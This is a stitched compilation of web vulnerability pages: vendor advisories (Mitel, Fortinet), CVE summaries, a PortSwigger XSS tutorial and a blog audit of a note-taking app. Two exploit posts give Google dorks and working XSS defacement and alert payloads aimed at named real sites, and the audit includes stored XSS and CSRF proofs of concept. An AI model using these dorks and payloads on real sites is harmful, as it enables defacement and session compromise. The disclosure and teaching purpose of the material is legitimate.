A vulnerability in the Connect Mobility Router component of Mitel MiVoice Connect through 9.6.2304.102 could allow an unauthenticated attacker to perform a Cross Site Request Forgery (CSRF) attack due to insufficient request validation. A successful exploit could allow an attacker to provide a modified URL, potentially enabling them to modify system configuration settings.

**Mitel Product Security Advisory 23-0015****MiVoice Connect Mobility Router Cross Site Request Forgery (CSRF) Vulnerability**

Advisory ID: 23-0015

Publish Date: 2023-08-23

Last Updated: 2023-08-23

Revision: 1.0

**Summary**

A Cross Site Request Forgery (CSRF) vulnerability has been identified in MiVoice Connect Mobility Router which if successfully exploited, could allow an attacker to provide a modified URL, potentially enabling them to modify system configuration settings.

Mitel is recommending customers with affected product versions update to the latest release. 

Credit is given to Ken Pyle and Jahmil Williams of CYBIR for highlighting these issues and bringing these to our attention.

**Affected Products**

Product Name

Product Version

Security Bulletin

Last Updated

Connect Mobility Router

9.6.2307.103 and earlier

23\-0015\-001

2023\-08-23

**Risk Assessment**

The risk of this vulnerability is rated as medium. Refer to the product Security Bulletin(s) for additional statements regarding risk.

**Mitigation / Recommended Action**

Mitel has issued new releases of the affected software. Customers are advised to update their software to the latest versions.

For additional information, contact Product Support.

**Related CVEs / CWEs / Advisories**

CVE-2023-39286

**Revision History**

Version

Date

Description

1.0

2023\-08-23

Initial version

CVE-2023-39286: MiVoice Connect Mobility Router Cross Site Request Forgery (CSRF) Vulnerability

ImgHosting version 1.3 suffers from a cross site scripting vulnerability.

**ImgHosting 1.3 Cross Site Scripting**

Posted Sep 14, 2023

Authored by indoushka

ImgHosting version 1.3 suffers from a cross site scripting vulnerability.

tags | exploit, xss

SHA-256 | 8c169afaf39b32fa5c563194367feecff6f19735b337600d64caa7b0f3c6b6a3

Download | Favorite | View

**ImgHosting 1.3 Cross Site Scripting**

    ====================================================================================================================================| # Title     : ImgHosting v1.3 XSS Vulnerability                                                                                  || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 65.0(32-bit)                                               | | # Vendor    : https://codecanyon.net/user/FoxSash/?ref=FoxSash                                                                   |  | # Dork      : "ImgHosting  Programming by FoxSash"                                                                               |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use payload : ?search=<marquee><font color=lime size=32>Hacked by indoushka</font></marquee>[+] http://www.127.0.0.1/pikhostingcom/?search=<marquee><font color=lime size=32>Hacked by indoushka</font></marquee>Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

**File Tags**

*   ActiveX (932)
*   Advisory (82,202)
*   Arbitrary (16,255)
*   BBS (2,859)
*   Bypass (1,744)
*   CGI (1,027)
*   Code Execution (7,302)
*   Conference (680)
*   Cracker (842)
*   CSRF (3,348)
*   DoS (23,535)
*   Encryption (2,371)
*   Exploit (52,098)
*   File Inclusion (4,228)
*   File Upload (977)
*   Firewall (821)
*   Info Disclosure (2,792)
*   Intrusion Detection (894)
*   Java (3,049)
*   JavaScript (860)
*   Kernel (6,732)
*   Local (14,499)
*   Magazine (586)
*   Overflow (12,707)
*   Perl (1,423)
*   PHP (5,153)
*   Proof of Concept (2,343)
*   Protocol (3,606)
*   Python (1,536)
*   Remote (30,859)
*   Root (3,591)
*   Rootkit (509)
*   Ruby (612)
*   Scanner (1,641)
*   Security Tool (7,897)
*   Shell (3,195)
*   Shellcode (1,216)
*   Sniffer (895)
*   Spoof (2,209)
*   SQL Injection (16,411)
*   TCP (2,407)
*   Trojan (687)
*   UDP (893)
*   Virus (666)
*   Vulnerability (31,829)
*   Web (9,695)
*   Whitepaper (3,751)
*   x86 (962)
*   XSS (17,999)
*   Other

**File Archives**

*   September 2023
*   August 2023
*   July 2023
*   June 2023
*   May 2023
*   April 2023
*   March 2023
*   February 2023
*   January 2023
*   December 2022
*   November 2022
*   October 2022
*   Older

**Systems**

*   AIX (428)
*   Apple (2,005)
*   BSD (373)
*   CentOS (57)
*   Cisco (1,925)
*   Debian (6,835)
*   Fedora (1,692)
*   FreeBSD (1,244)
*   Gentoo (4,323)
*   HPUX (879)
*   iOS (352)
*   iPhone (108)
*   IRIX (220)
*   Juniper (68)
*   Linux (46,701)
*   Mac OS X (687)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (485)
*   RedHat (13,853)
*   Slackware (941)
*   Solaris (1,610)
*   SUSE (1,444)
*   Ubuntu (8,907)
*   UNIX (9,308)
*   UnixWare (186)
*   Windows (6,585)
*   Other

ImgHosting 1.3 Cross Site Scripting

A protection mechanism failure in Fortinet FortiWeb 7.2.0 through 7.2.1, 7.0.0 through 7.0.6, 6.4.0 through 6.4.3, 6.3.6 through 6.3.23 allows attacker to execute unauthorized code or commands via specially crafted HTTP requests.

** PSIRT Advisories**

**FortiWeb - Insufficient protections against XSS and CSRF**

**Summary**

A protection mechanism failure \[CWE-693\] vulnerability in FortiWeb may allow an attacker to bypass XSS and CSRF protections.

**Affected Products**

FortiWeb version 7.2.0 through 7.2.1  
FortiWeb version 7.0.0 through 7.0.6  
FortiWeb 6.4 all versions  
FortiWeb 6.3 all versions

**Solutions**

Please upgrade to FortiWeb version 7.2.2 or above  
Please upgrade to FortiWeb version 7.0.7 or above

**Acknowledgement**

Internally discovered and reported by Gwendal Guégniaud of Fortinet Product Security team.

**Timeline**

2023-09-05: Initial publication

CVE-2023-34984: Fortiguard

KALIMATAN GMS version 1.0.0 suffers from a cross site scripting vulnerability.

**KALIMATAN GMS 1.0.0 Cross Site Scripting**

Posted Sep 12, 2023

Authored by indoushka

KALIMATAN GMS version 1.0.0 suffers from a cross site scripting vulnerability.

tags | exploit, xss

SHA-256 | bd48e4a98638b72cd97b9bc442df28c3737e9b1208d03e5a4a7f58660e0bf243

Download | Favorite | View

**KALIMATAN GMS 1.0.0 Cross Site Scripting**

    ====================================================================================================================================| # Title     : KALIMATAN GMS V1.0.0 XSS Vulnerability                                                                             || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 64.0.2 (32-bit)                                            | | # Vendor    : http://teppa.kaltimprov.go.id/                                                                                     |  | # Dork      : inurl:/front/grafik.php?tahun=                                                                                     |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : <script>alert(/indoushka/);</script>[+] http://Targetteppa.kaltimprovgoid/front/grafik.php?tahun=2018&bulan=%3Cscript%3Ealert(/indoushka/);%3C/script%3E Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

**File Tags**

*   ActiveX (932)
*   Advisory (82,177)
*   Arbitrary (16,247)
*   BBS (2,859)
*   Bypass (1,743)
*   CGI (1,027)
*   Code Execution (7,301)
*   Conference (680)
*   Cracker (842)
*   CSRF (3,348)
*   DoS (23,519)
*   Encryption (2,371)
*   Exploit (52,086)
*   File Inclusion (4,228)
*   File Upload (977)
*   Firewall (821)
*   Info Disclosure (2,792)
*   Intrusion Detection (892)
*   Java (3,049)
*   JavaScript (860)
*   Kernel (6,732)
*   Local (14,499)
*   Magazine (586)
*   Overflow (12,704)
*   Perl (1,423)
*   PHP (5,152)
*   Proof of Concept (2,343)
*   Protocol (3,606)
*   Python (1,536)
*   Remote (30,852)
*   Root (3,590)
*   Rootkit (509)
*   Ruby (612)
*   Scanner (1,641)
*   Security Tool (7,895)
*   Shell (3,195)
*   Shellcode (1,216)
*   Sniffer (895)
*   Spoof (2,209)
*   SQL Injection (16,409)
*   TCP (2,407)
*   Trojan (687)
*   UDP (893)
*   Virus (666)
*   Vulnerability (31,825)
*   Web (9,695)
*   Whitepaper (3,751)
*   x86 (962)
*   XSS (17,994)
*   Other

**File Archives**

*   September 2023
*   August 2023
*   July 2023
*   June 2023
*   May 2023
*   April 2023
*   March 2023
*   February 2023
*   January 2023
*   December 2022
*   November 2022
*   October 2022
*   Older

**Systems**

*   AIX (428)
*   Apple (2,005)
*   BSD (373)
*   CentOS (57)
*   Cisco (1,925)
*   Debian (6,833)
*   Fedora (1,692)
*   FreeBSD (1,244)
*   Gentoo (4,323)
*   HPUX (879)
*   iOS (352)
*   iPhone (108)
*   IRIX (220)
*   Juniper (68)
*   Linux (46,676)
*   Mac OS X (686)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (485)
*   RedHat (13,841)
*   Slackware (941)
*   Solaris (1,610)
*   SUSE (1,444)
*   Ubuntu (8,896)
*   UNIX (9,306)
*   UnixWare (186)
*   Windows (6,584)
*   Other

KALIMATAN GMS 1.0.0 Cross Site Scripting

Improper encoding or escaping of output in Wing FTP Server (User Web Client) allows Cross-Site Scripting (XSS).This issue affects Wing FTP Server: <= 7.2.0.



CVE-2023-37875: Wing FTP Server History

The FTP Access WordPress plugin through 1.0 does not have authorisation and CSRF checks when updating its settings and is missing sanitisation as well as escaping in them, allowing any authenticated users, such as subscriber to update them with XSS payloads, which will be triggered when an admin will view the settings of the plugin. The attack could also be perform via CSRF against any authenticated user.

CVE-2023-3510

The Lock User Account WordPress plugin through 1.0.3 does not have CSRF check when bulk locking and unlocking accounts, which could allow attackers to make logged in admins lock and unlock arbitrary users via a CSRF attack

CVE-2023-4307

The Herd Effects WordPress plugin before 5.2.4 does not have CSRF when deleting its items, which could allow attackers to make logged in admins delete arbitrary effects via a CSRF attack

CVE-2023-4318

Multiple cross-site scripting (XSS) vulnerabilities in Dairy Farm Shop Management System Using PHP and MySQL v1.1 allow attackers to execute arbitrary web scripts and HTML via a crafted payload injected into the Category and Category Field parameters.

In this section, we'll explain what cross-site scripting is, describe the different varieties of cross-site scripting vulnerabilities, and spell out how to find and prevent cross-site scripting.

**What is cross-site scripting (XSS)?**

Cross-site scripting (also known as XSS) is a web security vulnerability that allows an attacker to compromise the interactions that users have with a vulnerable application. It allows an attacker to circumvent the same origin policy, which is designed to segregate different websites from each other. Cross-site scripting vulnerabilities normally allow an attacker to masquerade as a victim user, to carry out any actions that the user is able to perform, and to access any of the user's data. If the victim user has privileged access within the application, then the attacker might be able to gain full control over all of the application's functionality and data.

**How does XSS work?**

Cross-site scripting works by manipulating a vulnerable web site so that it returns malicious JavaScript to users. When the malicious code executes inside a victim's browser, the attacker can fully compromise their interaction with the application.

**Labs**

If you're already familiar with the basic concepts behind XSS vulnerabilities and just want to practice exploiting them on some realistic, deliberately vulnerable targets, you can access all of the labs in this topic from the link below.

*   View all XSS labs

**XSS proof of concept**

You can confirm most kinds of XSS vulnerability by injecting a payload that causes your own browser to execute some arbitrary JavaScript. It's long been common practice to use the alert() function for this purpose because it's short, harmless, and pretty hard to miss when it's successfully called. In fact, you solve the majority of our XSS labs by invoking alert() in a simulated victim's browser.

Unfortunately, there's a slight hitch if you use Chrome. From version 92 onward (July 20th, 2021), cross-origin iframes are prevented from calling alert(). As these are used to construct some of the more advanced XSS attacks, you'll sometimes need to use an alternative PoC payload. In this scenario, we recommend the print() function. If you're interested in learning more about this change and why we like print(), check out our blog post on the subject.

As the simulated victim in our labs uses Chrome, we've amended the affected labs so that they can also be solved using print(). We've indicated this in the instructions wherever relevant.

**What are the types of XSS attacks?**

There are three main types of XSS attacks. These are:

*   Reflected XSS, where the malicious script comes from the current HTTP request.
*   Stored XSS, where the malicious script comes from the website's database.
*   DOM-based XSS, where the vulnerability exists in client-side code rather than server-side code.

**Reflected cross-site scripting**

Reflected XSS is the simplest variety of cross-site scripting. It arises when an application receives data in an HTTP request and includes that data within the immediate response in an unsafe way.

Here is a simple example of a reflected XSS vulnerability:

https://insecure-website.com/status?message=All+is+well.
<p>Status: All is well.</p>

The application doesn't perform any other processing of the data, so an attacker can easily construct an attack like this:

https://insecure-website.com/status?message=<script>/*+Bad+stuff+here...+*/</script>
<p>Status: <script>/* Bad stuff here... */</script></p>

If the user visits the URL constructed by the attacker, then the attacker's script executes in the user's browser, in the context of that user's session with the application. At that point, the script can carry out any action, and retrieve any data, to which the user has access.

**Stored cross-site scripting**

Stored XSS (also known as persistent or second-order XSS) arises when an application receives data from an untrusted source and includes that data within its later HTTP responses in an unsafe way.

The data in question might be submitted to the application via HTTP requests; for example, comments on a blog post, user nicknames in a chat room, or contact details on a customer order. In other cases, the data might arrive from other untrusted sources; for example, a webmail application displaying messages received over SMTP, a marketing application displaying social media posts, or a network monitoring application displaying packet data from network traffic.

Here is a simple example of a stored XSS vulnerability. A message board application lets users submit messages, which are displayed to other users:

<p>Hello, this is my message!</p>

The application doesn't perform any other processing of the data, so an attacker can easily send a message that attacks other users:

<p><script>/* Bad stuff here... */</script></p>

**DOM-based cross-site scripting**

DOM-based XSS (also known as DOM XSS) arises when an application contains some client-side JavaScript that processes data from an untrusted source in an unsafe way, usually by writing the data back to the DOM.

In the following example, an application uses some JavaScript to read the value from an input field and write that value to an element within the HTML:

var search = document.getElementById('search').value;
var results = document.getElementById('results');
results.innerHTML = 'You searched for: ' + search;

If the attacker can control the value of the input field, they can easily construct a malicious value that causes their own script to execute:

You searched for: <img src=1 onerror='/* Bad stuff here... */'>

In a typical case, the input field would be populated from part of the HTTP request, such as a URL query string parameter, allowing the attacker to deliver an attack using a malicious URL, in the same manner as reflected XSS.

**What can XSS be used for?**

An attacker who exploits a cross-site scripting vulnerability is typically able to:

*   Impersonate or masquerade as the victim user.
*   Carry out any action that the user is able to perform.
*   Read any data that the user is able to access.
*   Capture the user's login credentials.
*   Perform virtual defacement of the web site.
*   Inject trojan functionality into the web site.

**Impact of XSS vulnerabilities**

The actual impact of an XSS attack generally depends on the nature of the application, its functionality and data, and the status of the compromised user. For example:

*   In a brochureware application, where all users are anonymous and all information is public, the impact will often be minimal.
*   In an application holding sensitive data, such as banking transactions, emails, or healthcare records, the impact will usually be serious.
*   If the compromised user has elevated privileges within the application, then the impact will generally be critical, allowing the attacker to take full control of the vulnerable application and compromise all users and their data.

**How to find and test for XSS vulnerabilities**

The vast majority of XSS vulnerabilities can be found quickly and reliably using Burp Suite's web vulnerability scanner.

Manually testing for reflected and stored XSS normally involves submitting some simple unique input (such as a short alphanumeric string) into every entry point in the application, identifying every location where the submitted input is returned in HTTP responses, and testing each location individually to determine whether suitably crafted input can be used to execute arbitrary JavaScript. In this way, you can determine the context in which the XSS occurs and select a suitable payload to exploit it.

Manually testing for DOM-based XSS arising from URL parameters involves a similar process: placing some simple unique input in the parameter, using the browser's developer tools to search the DOM for this input, and testing each location to determine whether it is exploitable. However, other types of DOM XSS are harder to detect. To find DOM-based vulnerabilities in non-URL-based input (such as document.cookie) or non-HTML-based sinks (like setTimeout), there is no substitute for reviewing JavaScript code, which can be extremely time-consuming. Burp Suite's web vulnerability scanner combines static and dynamic analysis of JavaScript to reliably automate the detection of DOM-based vulnerabilities.

**Content security policy**

Content security policy (CSP) is a browser mechanism that aims to mitigate the impact of cross-site scripting and some other vulnerabilities. If an application that employs CSP contains XSS-like behavior, then the CSP might hinder or prevent exploitation of the vulnerability. Often, the CSP can be circumvented to enable exploitation of the underlying vulnerability.

**Dangling markup injection**

Dangling markup injection is a technique that can be used to capture data cross-domain in situations where a full cross-site scripting exploit is not possible, due to input filters or other defenses. It can often be exploited to capture sensitive information that is visible to other users, including CSRF tokens that can be used to perform unauthorized actions on behalf of the user.

**How to prevent XSS attacks**

Preventing cross-site scripting is trivial in some cases but can be much harder depending on the complexity of the application and the ways it handles user-controllable data.

In general, effectively preventing XSS vulnerabilities is likely to involve a combination of the following measures:

*   **Filter input on arrival.** At the point where user input is received, filter as strictly as possible based on what is expected or valid input.
*   **Encode data on output.** At the point where user-controllable data is output in HTTP responses, encode the output to prevent it from being interpreted as active content. Depending on the output context, this might require applying combinations of HTML, URL, JavaScript, and CSS encoding.
*   **Use appropriate response headers.** To prevent XSS in HTTP responses that aren't intended to contain any HTML or JavaScript, you can use the Content-Type and X-Content-Type-Options headers to ensure that browsers interpret the responses in the way you intend.
*   **Content Security Policy.** As a last line of defense, you can use Content Security Policy (CSP) to reduce the severity of any XSS vulnerabilities that still occur.

**Common questions about cross-site scripting**

**How common are XSS vulnerabilities?** XSS vulnerabilities are very common, and XSS is probably the most frequently occurring web security vulnerability.

**How common are XSS attacks?** It is difficult to get reliable data about real-world XSS attacks, but it is probably less frequently exploited than other vulnerabilities.

**What is the difference between XSS and CSRF?** XSS involves causing a web site to return malicious JavaScript, while CSRF involves inducing a victim user to perform actions they do not intend to do.

**What is the difference between XSS and SQL injection?** XSS is a client-side vulnerability that targets other application users, while SQL injection is a server-side vulnerability that targets the application's database.

**How do I prevent XSS in PHP?** Filter your inputs with a whitelist of allowed characters and use type hints or type casting. Escape your outputs with htmlentities and ENT_QUOTES for HTML contexts, or JavaScript Unicode escapes for JavaScript contexts.

**How do I prevent XSS in Java?** Filter your inputs with a whitelist of allowed characters and use a library such as Google Guava to HTML-encode your output for HTML contexts, or use JavaScript Unicode escapes for JavaScript contexts.

CVE-2023-41593: What is cross-site scripting (XSS) and how to prevent it? | Web Security Academy

A vulnerability has been found in SourceCodester Take-Note App 1.0 and classified as problematic. This vulnerability affects unknown code. The manipulation leads to cross-site request forgery. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-239350 is the identifier assigned to this vulnerability.

CVE・未分类

2023年9月5日2023年9月9日 4 Minutes

Vuln\_Author: WEI（Gikaku）

Vendors: SourceCodester

Source code：Take-Note App

The program is built using the xmapp-php8.2.4 version

**Vulnerabilities**：

*   DOM-XSS
*   CSRF

“Take-Note App,” a simple yet powerful solution to help you organize and manage your notes seamlessly. It also uses CRUD (Create, Read, Update and Delete) feature. Built using the versatile PHP programming language, this app offers an intuitive user interface and robust features that make note-taking a breeze. It is just a simple which only uses single table unlike to joining tables that I’ve also created before.

**Features:**

1.  **Effortless Note Creation:** With the Take-Note App, creating a new note is as simple as typing your thoughts. Enter the title and content of your note, and you’re good to go.
2.  **User-Friendly Interface:** The app boasts a clean and user-friendly interface, designed to provide a distraction-free note-taking experience. Whether you’re using a desktop computer or a mobile device, the app adapts seamlessly.
3.  **Edit and Update:** Need to make changes to an existing note? The app allows you to easily edit and update your notes. You can modify the title and content to keep your notes up to date.
4.  **Organize and Manage:** Organizing your notes is made easy with categorization by titles. The app lets you effortlessly manage multiple notes and quickly find what you’re looking for.
5.  **Time Stamps:** Each note you create is automatically stamped with the date and time it was created, helping you keep track of your thoughts and ideas chronologically.
6.  **Delete Confirmation:** Before you delete a note, the app prompts you to confirm your action, ensuring that important notes aren’t accidentally removed.

****DOM-XSS****

**DOM-XSS vulnerability exists in index.php**

**Code Audit**

....
// Convert the date\_time value to a formatted date and time string
                                $formattedDateTime = date('F j, Y H:i A', strtotime($noteDateTime));
                            ?>
                                <li class="list-group-item mt-2">
                                    <div class="btn-group float-right">
                                        <a href="endpoint/update\_note.php?edit=<?php echo $noteID ?>"><button type="button" class="btn btn-sm btn-light" title="Show"><i class="fa fa-pencil"></i></button></a>
                                        <button onclick="delete\_note('<?php echo $noteID ?>')" type="button" class="btn btn-sm btn-light" title="Remove"><i class="fa fa-trash"></i></button>
                                    </div>
                                    <h3 style="text-transform:uppercase;"><b><?php echo $noteTitle ?></b></h3>
                                    <p class="note-content"><?php echo $noteContent ?></p>
                                    <small class="block text-muted text-info">Created: <i class="fa fa-clock-o text-info"></i> <?php echo $formattedDateTime ?></small>
                                </li>
                            <?php
                            }
                            ?>
....

The following line of code is vulnerable

    <p class="note-content"><?php echo $noteContent ?></p>

Here, the value of the $noteContent variable is output directly into the HTML. If this value contains user-entered data that is not properly filtered or escaped, then there is a risk of an XSS attack.

**PoC**

Attackers can insert JavaScript code into the content of a note. For example, they can create a note with the following content:

    <script>alert('xss')</script>

When other users view this note, the above JavaScript code will run in their browsers.

**This is a typical DOM-XSS vulnerability**

The test results are as follows

**Payload execution succeeded**

**DOM-XSS vulnerability confirmed**

****CSRF (Cross-Site Request Forgery)** **

**CSRF vulnerability exists in index.php and delete\_note.php**

**Code Audit**

....
// Convert the date\_time value to a formatted date and time string
                                $formattedDateTime = date('F j, Y H:i A', strtotime($noteDateTime));
                            ?>
                                <li class="list-group-item mt-2">
                                    <div class="btn-group float-right">
                                        <a href="endpoint/update\_note.php?edit=<?php echo $noteID ?>"><button type="button" class="btn btn-sm btn-light" title="Show"><i class="fa fa-pencil"></i></button></a>
                                        <button onclick="delete\_note('<?php echo $noteID ?>')" type="button" class="btn btn-sm btn-light" title="Remove"><i class="fa fa-trash"></i></button>
                                    </div>
                                    <h3 style="text-transform:uppercase;"><b><?php echo $noteTitle ?></b></h3>
                                    <p class="note-content"><?php echo $noteContent ?></p>
                                    <small class="block text-muted text-info">Created: <i class="fa fa-clock-o text-info"></i> <?php echo $formattedDateTime ?></small>
                                </li>
                            <?php
                            }
                            ?>
....

The following code has security issues.

    <button onclick="delete_note('<?php echo $noteID ?>')" type="button" class="btn btn-sm btn-light" title="Remove"><i class="fa fa-trash"></i></button>

Here, the application deletes notes through a simple GET request. This means that anyone who knows the correct URL can delete any note. If a logged-in user is tricked into accessing this URL, their note will be deleted.

**This is a typical CSRF vulnerability**

**PoC**

Attackers can create a seemingly harmless link and then lure users to click on this link. For example:

    <a href="http://example.com/endpoint/delete_note.php?delete=21">test for csrf</a>

The user clicks on this link and it looks like this

If a logged-in user clicks on this link, their note will be deleted.

The note named “test” has been successfully deleted.

**This can be confirmed as a CSRF vulnerability**

**投稿ナビゲーション**

Tag

#csrf